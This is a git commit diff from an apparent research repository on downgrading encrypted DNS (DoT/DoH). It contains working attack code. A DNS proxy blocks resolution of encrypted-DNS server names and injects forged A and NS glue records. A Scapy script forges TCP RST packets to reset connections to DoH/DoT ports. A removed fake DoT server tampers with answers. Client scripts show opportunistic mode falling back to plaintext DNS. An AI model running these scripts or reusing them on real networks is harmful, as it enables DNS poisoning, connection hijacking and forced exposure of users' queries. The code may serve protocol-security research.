updata
This commit is contained in:
Binary file not shown.
76
11_dot_injection/degrade_phase1.py
Normal file
76
11_dot_injection/degrade_phase1.py
Normal file
@@ -0,0 +1,76 @@
|
||||
import socket
|
||||
import ssl
|
||||
import dns.message
|
||||
import dns.query
|
||||
import dns.rcode
|
||||
import argparse
|
||||
from logger_DoE import *
|
||||
import pandas as pd
|
||||
|
||||
domains = set(pd.read_csv('domains.csv').domain)
|
||||
|
||||
upstream_server = '223.5.5.5'
|
||||
|
||||
# 创建监听socket
|
||||
listener = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||
listener.bind(('127.0.0.54', 53))
|
||||
|
||||
parser = argparse.ArgumentParser()
|
||||
parser.add_argument('-pass', '--passdoe', default=0)
|
||||
parser.add_argument('-tamper', '--tamper', default='')
|
||||
parser.add_argument('-inject', '--inject', default='')
|
||||
parser.add_argument('-ns', '--ns', default='1.1.1.1')
|
||||
args = parser.parse_args()
|
||||
tamper = args.tamper +'.'
|
||||
inject = args.inject +'.'
|
||||
ns = args.ns
|
||||
|
||||
logger = InfoLogger(interval=1)
|
||||
logger.log_info(LogLevel.INFO, "程序开始运行")
|
||||
|
||||
while True:
|
||||
# 接收DNS请求
|
||||
data, addr = listener.recvfrom(1024)
|
||||
#print(dns.message.from_wire(data))
|
||||
data = dns.message.from_wire(data)
|
||||
query_r = data.question[0].name.to_text()[:-1]
|
||||
if query_r in domains and args.passdoe==0:
|
||||
# print(data.question[0].name.to_text()[:-1])
|
||||
# print(addr)
|
||||
#print(data)
|
||||
#print('对DoE域名的DNS请求:', query_r)
|
||||
logger = InfoLogger(interval=1)
|
||||
logger.log_info(LogLevel.INFO, f'对DoE域名的DNS请求:{query_r}')
|
||||
# # 创建TLS连接并发送DNS请求到上游服务器
|
||||
resp = dns.query.udp(
|
||||
q=data,
|
||||
where=upstream_server,
|
||||
timeout=10)
|
||||
#print('DNS响应:', resp.answer)
|
||||
resp.answer = [dns.rrset.from_text(query_r+'.', 3600, dns.rdataclass.IN, dns.rdatatype.A, '10.10.10.10')]
|
||||
#print(f'对DoE域名{query_r}的DNS请求已阻断,返回10.10.10.10')
|
||||
logger.log_info(LogLevel.INFO, f'对DoE域名{query_r}的DNS请求已阻断,返回10.10.10.10')
|
||||
logger.log_info(LogLevel.PAYLOAD, str(resp.answer.__str__()))
|
||||
# with socket.create_connection((upstream_server,853)) as sock:
|
||||
# with context.wrap_socket(sock, server_hostname=upstream_server[0]) as tls_sock:
|
||||
# tls_sock.sendall(data.to_wire())
|
||||
# resp = tls_sock.recv(4096)
|
||||
|
||||
# 将上游服务器的响应发送回客户端
|
||||
listener.sendto(resp.to_wire(), addr)
|
||||
else:
|
||||
resp = dns.query.udp(
|
||||
q=data,
|
||||
where=upstream_server,
|
||||
timeout=10)
|
||||
if str(resp.question[0].name) == tamper and int(resp.question[0].rdtype) == 1:
|
||||
print('---tamper---', tamper)
|
||||
resp.answer = [
|
||||
dns.rrset.from_text(tamper, 3600, dns.rdataclass.IN, dns.rdatatype.A, '8.8.8.8')]
|
||||
if str(resp.question[0].name) == inject:
|
||||
print('---inject---', inject)
|
||||
resp.additional = [
|
||||
dns.rrset.from_text(inject, 3600, dns.rdataclass.IN, dns.rdatatype.NS, 'ns.' + inject.split('.', 1)[1]),
|
||||
dns.rrset.from_text('ns.' + inject.split('.', 1)[1], 3600, dns.rdataclass.IN, dns.rdatatype.A, ns)]
|
||||
listener.sendto(resp.to_wire(), addr)
|
||||
#break
|
||||
49
11_dot_injection/degrade_phase2.py
Normal file
49
11_dot_injection/degrade_phase2.py
Normal file
@@ -0,0 +1,49 @@
|
||||
import asyncio
|
||||
from scapy.all import *
|
||||
import argparse
|
||||
from logger_DoE import *
|
||||
|
||||
logger = InfoLogger(interval=1)
|
||||
logger.log_info(LogLevel.INFO, "程序开始运行")
|
||||
|
||||
async def process_packet(packet):
|
||||
if TCP in packet:
|
||||
seq = packet[TCP].seq
|
||||
ack = packet[TCP].ack
|
||||
local_port = packet[TCP].sport
|
||||
print(f"Seq: {seq}, Ack: {ack}")
|
||||
|
||||
# Construct a new packet to send
|
||||
rst_packet = Ether(dst="00:16:3e:08:8b:25", src="ee:ff:ff:ff:ff:ff") / IP(dst=local_ip, src=target_ip) / TCP(sport=target_port,
|
||||
dport=local_port, flags="AR",
|
||||
seq=ack, ack=seq+1, window=0)
|
||||
sendp(rst_packet, iface='eth0')
|
||||
logger.log_info(LogLevel.PAYLOAD, rst_packet)
|
||||
|
||||
|
||||
def sniff_packets():
|
||||
# Define a callback for processing packets
|
||||
def callback(packet):
|
||||
asyncio.run(process_packet(packet))
|
||||
|
||||
# Start sniffing
|
||||
sniff(prn=callback, filter=f"tcp and ip src {local_ip} and ip dst {target_ip} and tcp dst port {target_port}", store=0,iface='eth0')
|
||||
|
||||
|
||||
def main():
|
||||
sniff_packets()
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
parser = argparse.ArgumentParser()
|
||||
parser.add_argument('-p', '--protocol', default='doh')
|
||||
parser.add_argument('-ip', '--ip', default='94.140.14.14')
|
||||
args = parser.parse_args()
|
||||
|
||||
# target_ip = "94.140.14.14"
|
||||
# target_port = 443
|
||||
ports = {'doh':443, 'dot':853}
|
||||
target_ip = args.ip
|
||||
target_port = ports[args.protocol]
|
||||
local_ip = "172.22.115.154"
|
||||
main()
|
||||
36096
11_dot_injection/domains.csv
Normal file
36096
11_dot_injection/domains.csv
Normal file
File diff suppressed because it is too large
Load Diff
@@ -1,45 +0,0 @@
|
||||
import socket
|
||||
import ssl
|
||||
import dns.message
|
||||
import dns.query
|
||||
import dns.rcode
|
||||
import argparse
|
||||
|
||||
parser = argparse.ArgumentParser()
|
||||
parser.add_argument('-dot', '--dot', default='dns.alidns.com')
|
||||
args = parser.parse_args()
|
||||
print(f'DoT server: {args.dot}')
|
||||
upstream_server = '47.88.31.213'
|
||||
|
||||
# 创建监听socket
|
||||
listener = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||
listener.bind(('127.0.0.1', 53))
|
||||
|
||||
# 创建TLS连接
|
||||
context = ssl.create_default_context()
|
||||
context.check_hostname = False
|
||||
context.verify_mode = ssl.CERT_NONE
|
||||
while True:
|
||||
# 接收DNS请求
|
||||
data, addr = listener.recvfrom(1024)
|
||||
#print(dns.message.from_wire(data))
|
||||
data = dns.message.from_wire(data)
|
||||
if 'baidu' in data.question.__str__():
|
||||
# print(data)
|
||||
# print(addr)
|
||||
print('DNS请求:', data.question)
|
||||
# # 创建TLS连接并发送DNS请求到上游服务器
|
||||
resp = dns.query.tls(
|
||||
q=data,
|
||||
where=upstream_server,
|
||||
timeout=10,
|
||||
ssl_context=context)
|
||||
print('DNS响应:', resp.answer)
|
||||
# with socket.create_connection((upstream_server,853)) as sock:
|
||||
# with context.wrap_socket(sock, server_hostname=upstream_server[0]) as tls_sock:
|
||||
# tls_sock.sendall(data.to_wire())
|
||||
# resp = tls_sock.recv(4096)
|
||||
|
||||
# 将上游服务器的响应发送回客户端
|
||||
listener.sendto(resp.to_wire(), addr)
|
||||
break
|
||||
@@ -1,63 +0,0 @@
|
||||
import argparse
|
||||
import asyncio
|
||||
import ssl
|
||||
import socket
|
||||
import dns.asyncquery
|
||||
import dns.message
|
||||
import dns.rcode
|
||||
import dns.flags
|
||||
import dns.message
|
||||
import dns.rrset
|
||||
from dnslib import DNSRecord
|
||||
|
||||
async handle_client(reader, writer):
|
||||
request_data = await reader.read(1024)
|
||||
request = dns.message.from_wire(request_data[2:])
|
||||
#print(request)
|
||||
dns_request = dns.message.make_query(request.question[0].name, request.question[0].rdtype)
|
||||
dns_request.id = request.id
|
||||
#print(dns_request)
|
||||
dns_response = await dns.asyncquery.udp(q=dns_request, port=53, where='223.5.5.5')
|
||||
#print(dns_response)
|
||||
if str(request.question[0].name) == tamper and int(request.question[0].rdtype) == 1:
|
||||
print('---tamper---', tamper)
|
||||
dns_response.answer = [dns.rrset.from_text(tamper, 3600, dns.rdataclass.IN, dns.rdatatype.A, '39.106.44.126')]
|
||||
if str(request.question[0].name) == inject:
|
||||
print('---inject---', inject)
|
||||
dns_response.additional = [dns.rrset.from_text(inject,3600,dns.rdataclass.IN, dns.rdatatype.NS,'ns.'+inject.split('.',1)[1]),
|
||||
dns.rrset.from_text('ns.'+inject.split('.',1)[1],3600,dns.rdataclass.IN, dns.rdatatype.A,ns)]
|
||||
#print(dns_response)
|
||||
|
||||
response_data = dns_response
|
||||
record_header = len(response_data.to_wire()).to_bytes(2, 'big')
|
||||
# 构建完整的TLS响应数据
|
||||
tls_response_data = record_header + response_data.to_wire()
|
||||
writer.write(tls_response_data)
|
||||
await writer.drain()
|
||||
writer.close()
|
||||
|
||||
async start_server():
|
||||
# 配置服务器参数
|
||||
listen_address = '0.0.0.0'
|
||||
listen_port = 853
|
||||
CERT_FILE = "/usr/local/etc/unbound/cert_new4/app.crt" # 替换为你的SSL证书文件路径
|
||||
KEY_FILE = "/usr/local/etc/unbound/cert_new4/app.key" # 替换为你的SSL密钥文件路径
|
||||
context = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH)
|
||||
context.load_cert_chain(certfile=CERT_FILE, keyfile=KEY_FILE)
|
||||
# 创建TCP服务器
|
||||
server = await asyncio.start_server(
|
||||
handle_client, listen_address, listen_port, ssl=context)
|
||||
|
||||
print(f'DoT server listening on {listen_address}:{listen_port}')
|
||||
async with server:
|
||||
await server.serve_forever()
|
||||
|
||||
parser = argparse.ArgumentParser()
|
||||
parser.add_argument('-tamper', '--tamper', default='')
|
||||
parser.add_argument('-inject', '--inject', default='')
|
||||
parser.add_argument('-ns', '--ns', default='39.106.44.126')
|
||||
args = parser.parse_args()
|
||||
tamper = args.tamper +'.'
|
||||
inject = args.inject +'.'
|
||||
ns = args.ns
|
||||
asyncio.run(start_server())
|
||||
52
11_dot_injection/logger_DoE.py
Normal file
52
11_dot_injection/logger_DoE.py
Normal file
@@ -0,0 +1,52 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
import time
|
||||
import json
|
||||
import threading
|
||||
from queue import Queue
|
||||
|
||||
class LogLevel:
|
||||
INFO = "INFO"
|
||||
WARNING = "WARNING"
|
||||
ERROR = "ERROR"
|
||||
PAYLOAD = "PAYLOAD"
|
||||
|
||||
class LogEntry:
|
||||
def __init__(self, log_level, log_info):
|
||||
self.created_time = time.strftime("%Y-%m-%d %H:%M:%S")
|
||||
self.log_level = log_level
|
||||
self.log_info = log_info
|
||||
|
||||
class InfoLogger:
|
||||
def __init__(self, interval=1):
|
||||
self.log_queue = Queue()
|
||||
self.interval = interval
|
||||
self.logging_thread = threading.Thread(target=self.start_logging)
|
||||
self.logging_thread.daemon = True
|
||||
self.logging_thread.start()
|
||||
|
||||
def start_logging(self):
|
||||
while True:
|
||||
entry = self.log_queue.get()
|
||||
if entry is None: # 退出信号
|
||||
break
|
||||
# time.sleep(self.interval) # 延迟输出
|
||||
# 确保输出中文
|
||||
print(json.dumps(entry.__dict__, ensure_ascii=False))
|
||||
|
||||
def log_info(self, level, message):
|
||||
entry = LogEntry(level, message)
|
||||
self.log_queue.put(entry) # 将日志条目发送到队列
|
||||
|
||||
def close(self):
|
||||
self.log_queue.put(None) # 发送退出信号
|
||||
self.logging_thread.join() # 等待线程结束
|
||||
|
||||
# 主函数
|
||||
# if __name__ == "__main__":
|
||||
# logger = InfoLogger(interval=1)
|
||||
# logger.log_info(LogLevel.INFO, "程序开始运行")
|
||||
# logger.log_info(LogLevel.WARNING, "这是一个警告信息")
|
||||
# logger.log_info(LogLevel.ERROR, "发生了一个错误")
|
||||
# logger.log_info(LogLevel.PAYLOAD, "处理的有效负载信息")
|
||||
# logger.log_info(LogLevel.INFO, "程序结束运行")
|
||||
# logger.close() # 关闭日志记录
|
||||
77
11_dot_injection/send_doh_query.py
Normal file
77
11_dot_injection/send_doh_query.py
Normal file
@@ -0,0 +1,77 @@
|
||||
import socket
|
||||
import ssl
|
||||
import dns.message
|
||||
import dns.query
|
||||
import dns.rcode
|
||||
import argparse
|
||||
import ipaddress
|
||||
import base64
|
||||
import httpx
|
||||
|
||||
|
||||
def do53_query(name,type):
|
||||
query = dns.message.make_query(qname=name, rdtype=type)
|
||||
response_message = dns.query.udp(q=query, port=53, where='127.0.0.54', timeout=5)
|
||||
print(f'本地do53解析域名{name}的{type}记录:\n{response_message}')
|
||||
|
||||
|
||||
def p1(doh,mode,name,type):
|
||||
print(f'========Phase 1: 解析获取DoT服务器的IP地址========')
|
||||
query = dns.message.make_query(qname=doh, rdtype='A')
|
||||
for i in range(1,4):
|
||||
try:
|
||||
response_message = dns.query.udp(q=query, port=53, where='127.0.0.54', timeout=5)
|
||||
except:
|
||||
response_message = ''
|
||||
print(f'获取失败,重试{i}')
|
||||
if response_message != '':
|
||||
print(f'{doh} A 记录地址为 {response_message.answer[0]}')
|
||||
p2(str(response_message.answer[0]).split(' ')[-1],args.mode,args.name,args.type)
|
||||
else:
|
||||
if mode == 'opportunistic':
|
||||
print('机会隐私设置,降为明文进行查询')
|
||||
do53_query(name, type)
|
||||
else:
|
||||
print('严格隐私设置,查询结束')
|
||||
|
||||
|
||||
def p2(doh_ip,mode,name,type):
|
||||
print(f'========Phase 2: 与DoT服务器{doh_ip}建立连接========')
|
||||
query = dns.message.make_query(qname=name, rdtype=type)
|
||||
headers = {"content-type": "application/dns-message", "accept": "application/dns-message", "host":doh_ip}
|
||||
for i in range(1,4):
|
||||
try:
|
||||
with httpx.Client(http2=True, http1=True, verify=True, timeout=5) as client:
|
||||
resp = client.get(f"https://{doh_ip}/dns-query?dns=" + base64.b64encode(query.to_wire()).decode("UTF8").rstrip("="),
|
||||
headers=headers)
|
||||
response_message = dns.message.from_wire(resp.content)
|
||||
#print(response_message)
|
||||
|
||||
except:
|
||||
response_message = ''
|
||||
print(f'获取失败,重试{i}')
|
||||
if response_message == '':
|
||||
if mode == 'opportunistic':
|
||||
print('机会隐私设置,降为明文进行查询')
|
||||
do53_query(name, type)
|
||||
else:
|
||||
print('严格隐私设置,查询结束')
|
||||
else:
|
||||
print(f'解析域名{name}的{type}记录:\n{response_message}')
|
||||
|
||||
|
||||
|
||||
parser = argparse.ArgumentParser()
|
||||
parser.add_argument('-doh', '--doh', default='dns.alidns.com')
|
||||
parser.add_argument('-mode', '--mode', default='opportunistic')
|
||||
parser.add_argument('-name', '--name', default='www.baidu.com')
|
||||
parser.add_argument('-type', '--type', default='A')
|
||||
args = parser.parse_args()
|
||||
|
||||
print(f'DoH server: {args.doh}')
|
||||
try:
|
||||
if ipaddress.ip_address(args.doh):
|
||||
p2(args.doh, args.mode, args.name, args.type)
|
||||
|
||||
except:
|
||||
p1(args.doh,args.mode,args.name,args.type)
|
||||
68
11_dot_injection/send_dot_query.py
Normal file
68
11_dot_injection/send_dot_query.py
Normal file
@@ -0,0 +1,68 @@
|
||||
import socket
|
||||
import ssl
|
||||
import dns.message
|
||||
import dns.query
|
||||
import dns.rcode
|
||||
import argparse
|
||||
import ipaddress
|
||||
|
||||
def do53_query(name,type):
|
||||
query = dns.message.make_query(qname=name, rdtype=type)
|
||||
response_message = dns.query.udp(q=query, port=53, where='127.0.0.54', timeout=5)
|
||||
print(f'本地do53解析域名{name}的{type}记录:\n{response_message}')
|
||||
|
||||
|
||||
def p1(dot,mode,name,type):
|
||||
print(f'========Phase 1: 解析获取DoT服务器的IP地址========')
|
||||
query = dns.message.make_query(qname=dot, rdtype='A')
|
||||
for i in range(1,4):
|
||||
try:
|
||||
response_message = dns.query.udp(q=query, port=53, where='127.0.0.54', timeout=5)
|
||||
except:
|
||||
response_message = ''
|
||||
print(f'获取失败,重试{i}')
|
||||
if response_message != '':
|
||||
print(f'{dot} A 记录地址为 {response_message.answer[0]}')
|
||||
p2(str(response_message.answer[0]).split(' ')[-1],args.mode,args.name,args.type)
|
||||
else:
|
||||
if mode == 'opportunistic':
|
||||
print('机会隐私设置,降为明文进行查询')
|
||||
do53_query(name, type)
|
||||
else:
|
||||
print('严格隐私设置,查询结束')
|
||||
|
||||
|
||||
def p2(dot_ip,mode,name,type):
|
||||
print(f'========Phase 2: 与DoT服务器{dot_ip}建立连接========')
|
||||
query = dns.message.make_query(qname=name, rdtype=type)
|
||||
for i in range(1,4):
|
||||
try:
|
||||
response_message = dns.query.tls(q=query, port=853, where=dot_ip, timeout=5,verify=True)
|
||||
except:
|
||||
response_message = ''
|
||||
print(f'获取失败,重试{i}')
|
||||
if response_message == '':
|
||||
if mode == 'opportunistic':
|
||||
print('机会隐私设置,降为明文进行查询')
|
||||
do53_query(name, type)
|
||||
else:
|
||||
print('严格隐私设置,查询结束')
|
||||
else:
|
||||
print(f'解析域名{name}的{type}记录:\n{response_message}')
|
||||
|
||||
|
||||
|
||||
parser = argparse.ArgumentParser()
|
||||
parser.add_argument('-dot', '--dot', default='dns.alidns.com')
|
||||
parser.add_argument('-mode', '--mode', default='opportunistic')
|
||||
parser.add_argument('-name', '--name', default='www.baidu.com')
|
||||
parser.add_argument('-type', '--type', default='A')
|
||||
args = parser.parse_args()
|
||||
|
||||
print(f'DoT server: {args.dot}')
|
||||
try:
|
||||
if ipaddress.ip_address(args.dot):
|
||||
p2(args.dot, args.mode, args.name, args.type)
|
||||
|
||||
except:
|
||||
p1(args.dot,args.mode,args.name,args.type)
|
||||
Reference in New Issue
Block a user